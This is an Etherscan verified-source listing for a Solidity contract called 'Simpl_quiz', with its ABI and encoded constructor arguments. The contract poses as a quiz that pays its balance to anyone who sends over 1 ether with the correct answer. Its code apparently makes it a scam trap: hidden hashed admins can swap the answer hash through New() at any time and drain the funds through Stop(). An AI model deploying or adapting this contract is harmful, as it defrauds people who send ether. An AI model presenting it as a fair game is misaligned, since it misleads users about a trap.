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/**
 *Submitted for verification at Etherscan.io on 2019-06-09
*/

pragma solidity ^0.4.25;

contract Simpl_quiz
{
    function Try(string _response) external payable 
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string _question, string _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(_response);
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        msg.sender.transfer(this.balance);
    }

    function New(string _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] admins) public{
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(msg.sender)]);
        _;
    }

    function() public payable{}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"Stop","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"Start","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"admins","type":"bytes32[]"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

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0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000391b0f72000ae935bc590ba39f739c91ed55ecd54f4f3edfdb5c0d1397555da8fac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e858f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e

-----Decoded View---------------
Arg [0] : admins (bytes32[]): System.Byte[],System.Byte[],System.Byte[]

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [2] : 91b0f72000ae935bc590ba39f739c91ed55ecd54f4f3edfdb5c0d1397555da8f
Arg [3] : ac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e85
Arg [4] : 8f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e

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bzzr://63ae936b9b545861e377371d3237d47451b5075291dcd53b6f98f786b506b57e